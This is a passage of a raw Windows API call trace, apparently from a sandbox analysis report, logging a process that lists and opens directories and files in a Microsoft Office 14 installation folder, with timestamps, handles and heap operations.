ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.669] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x2d9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCSBAR.POC", cAlternateFileName="")) returned 1 [0079.669] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x1cba, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCTBOX.POC", cAlternateFileName="")) returned 1 [0079.669] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16892b00, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x511e6c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16892b00, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0x5f09, dwReserved0=0x0, dwReserved1=0x0, cFileName="AD.DPV", cAlternateFileName="")) returned 1 [0079.669] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52fa4f00, ftCreationTime.dwHighDateTime=0x1c917c2, ftLastAccessTime.dwLowDateTime=0x511e6c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52fa4f00, ftLastWriteTime.dwHighDateTime=0x1c917c2, nFileSizeHigh=0x0, nFileSizeLow=0x40a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AD.XML", cAlternateFileName="")) returned 1 [0079.669] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5eaf6290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0xb95a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AD98.POC", cAlternateFileName="")) returned 1 [0079.669] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9e2a200, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9e2a200, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x854, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADRESPEL.POC", cAlternateFileName="")) returned 1 [0079.669] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab13cf00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab13cf00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x594c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIR98.POC", cAlternateFileName="")) returned 1 [0079.669] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab13cf00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab13cf00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0xa402, dwReserved0=0x0, dwReserved1=0x0, cFileName="AWARDHM.POC", cAlternateFileName="")) returned 1 [0079.669] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab13cf00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab13cf00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x91cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BAN98.POC", cAlternateFileName="")) returned 1 [0079.669] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16892b00, ftCreationTime.dwHighDateTime=0x1c5d926, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16892b00, ftLastWriteTime.dwHighDateTime=0x1c5d926, nFileSizeHigh=0x0, nFileSizeLow=0xd2e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BANNER.DPV", cAlternateFileName="")) returned 1 [0079.669] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fd27b00, ftCreationTime.dwHighDateTime=0x1c916ff, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3fd27b00, ftLastWriteTime.dwHighDateTime=0x1c916ff, nFileSizeHigh=0x0, nFileSizeLow=0x236c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BANNER.XML", cAlternateFileName="")) returned 1 [0079.669] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab13cf00, ftCreationTime.dwHighDateTime=0x1c4a10f, ftLastAccessTime.dwLowDateTime=0x5197d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab13cf00, ftLastWriteTime.dwHighDateTime=0x1c4a10f, nFileSizeHigh=0x0, nFileSizeLow=0x4d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="BDRTKFUL.POC", cAlternateFileName="")) returned 1 [0079.670] GetLastError () returned 0x12 [0079.670] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.670] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0079.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.671] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" (normalized: "c:\\program files\\microsoft office\\office14\\queries"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES" (normalized: "c:\\program files\\microsoft office\\office14\\queries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0079.672] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.672] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0079.672] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.672] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0079.672] NtClose (Handle=0x168) returned 0x0 [0079.673] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb6a8 [0079.673] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.673] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0079.675] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.675] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49110e00, ftCreationTime.dwHighDateTime=0x1bf97c1, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49110e00, ftLastWriteTime.dwHighDateTime=0x1bf97c1, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Currency Rates.iqy", cAlternateFileName="")) returned 1 [0079.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0079.675] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb6a8) returned 1 [0079.675] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbd10 [0079.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e4890 [0079.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5240) returned 0x11ec790 [0079.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.676] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aa4ce00, ftCreationTime.dwHighDateTime=0x1c2d8b4, ftLastAccessTime.dwLowDateTime=0xfa625270, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9aa4ce00, ftLastWriteTime.dwHighDateTime=0x1c2d8b4, nFileSizeHigh=0x0, nFileSizeLow=0x141, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Major Indicies.iqy", cAlternateFileName="")) returned 1 [0079.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.676] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.676] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbd30 [0079.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e4998 [0079.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.677] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa56b6d00, ftCreationTime.dwHighDateTime=0x1bf1150, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa56b6d00, ftLastWriteTime.dwHighDateTime=0x1bf1150, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Stock Quotes.iqy", cAlternateFileName="")) returned 1 [0079.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.677] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.677] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.678] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.678] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.678] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xacbd50 [0079.678] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e4aa0 [0079.678] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.678] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa56b6d00, ftCreationTime.dwHighDateTime=0x1bf1150, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa56b6d00, ftLastWriteTime.dwHighDateTime=0x1bf1150, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Stock Quotes.iqy", cAlternateFileName="")) returned 0 [0079.678] GetLastError () returned 0x12 [0079.678] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\QUERIES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0079.678] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.678] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa5ff110, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.678] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49110e00, ftCreationTime.dwHighDateTime=0x1bf97c1, ftLastAccessTime.dwLowDateTime=0xfa5ff110, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49110e00, ftLastWriteTime.dwHighDateTime=0x1bf97c1, nFileSizeHigh=0x0, nFileSizeLow=0xcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Currency Rates.iqy", cAlternateFileName="")) returned 1 [0079.678] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9aa4ce00, ftCreationTime.dwHighDateTime=0x1c2d8b4, ftLastAccessTime.dwLowDateTime=0xfa625270, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9aa4ce00, ftLastWriteTime.dwHighDateTime=0x1c2d8b4, nFileSizeHigh=0x0, nFileSizeLow=0x141, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Major Indicies.iqy", cAlternateFileName="")) returned 1 [0079.678] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa56b6d00, ftCreationTime.dwHighDateTime=0x1bf1150, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa56b6d00, ftLastWriteTime.dwHighDateTime=0x1bf1150, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Stock Quotes.iqy", cAlternateFileName="")) returned 1 [0079.678] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa56b6d00, ftCreationTime.dwHighDateTime=0x1bf1150, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa56b6d00, ftLastWriteTime.dwHighDateTime=0x1bf1150, nFileSizeHigh=0x0, nFileSizeLow=0x133, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN MoneyCentral Investor Stock Quotes.iqy", cAlternateFileName="")) returned 0 [0079.678] GetLastError () returned 0x12 [0079.679] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.679] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.679] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0079.680] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.680] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0xc568, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECALL.DLL", cAlternateFileName="")) returned 1 [0079.680] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0xa958, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFEDIT.DLL", cAlternateFileName="")) returned 1 [0079.680] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40d55d00, ftCreationTime.dwHighDateTime=0x1c7cc60, ftLastAccessTime.dwLowDateTime=0x5a89bd50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x40d55d00, ftLastWriteTime.dwHighDateTime=0x1c7cc60, nFileSizeHigh=0x0, nFileSizeLow=0x1a900, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMINDER.WAV", cAlternateFileName="")) returned 1 [0079.680] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd66038c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x38588, dwReserved0=0x0, dwReserved1=0x0, cFileName="REPORT.DLL", cAlternateFileName="")) returned 1 [0079.680] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc004c700, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc004c700, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x5988, dwReserved0=0x0, dwReserved1=0x0, cFileName="REVERSE.DLL", cAlternateFileName="")) returned 1 [0079.680] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b753100, ftCreationTime.dwHighDateTime=0x1c7a766, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b753100, ftLastWriteTime.dwHighDateTime=0x1c7a766, nFileSizeHigh=0x0, nFileSizeLow=0x353f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSWOP.ICM", cAlternateFileName="")) returned 1 [0079.680] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337e5b00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x337e5b00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x8f770, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTFHTML.DLL", cAlternateFileName="")) returned 1 [0079.680] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe412d900, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe412d900, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x49580, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAEXT.DLL", cAlternateFileName="")) returned 1 [0079.680] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAMPLES", cAlternateFileName="")) returned 1 [0079.680] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.680] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES" (normalized: "c:\\program files\\microsoft office\\office14\\samples"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES" (normalized: "c:\\program files\\microsoft office\\office14\\samples"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0079.681] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.681] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11f19d8 [0079.681] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11f19d8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x11f19d8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.681] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f19d8) returned 1 [0079.681] NtClose (Handle=0x164) returned 0x0 [0079.682] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.682] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb7b8 [0079.682] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\SAMPLES\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0079.682] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa671530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, 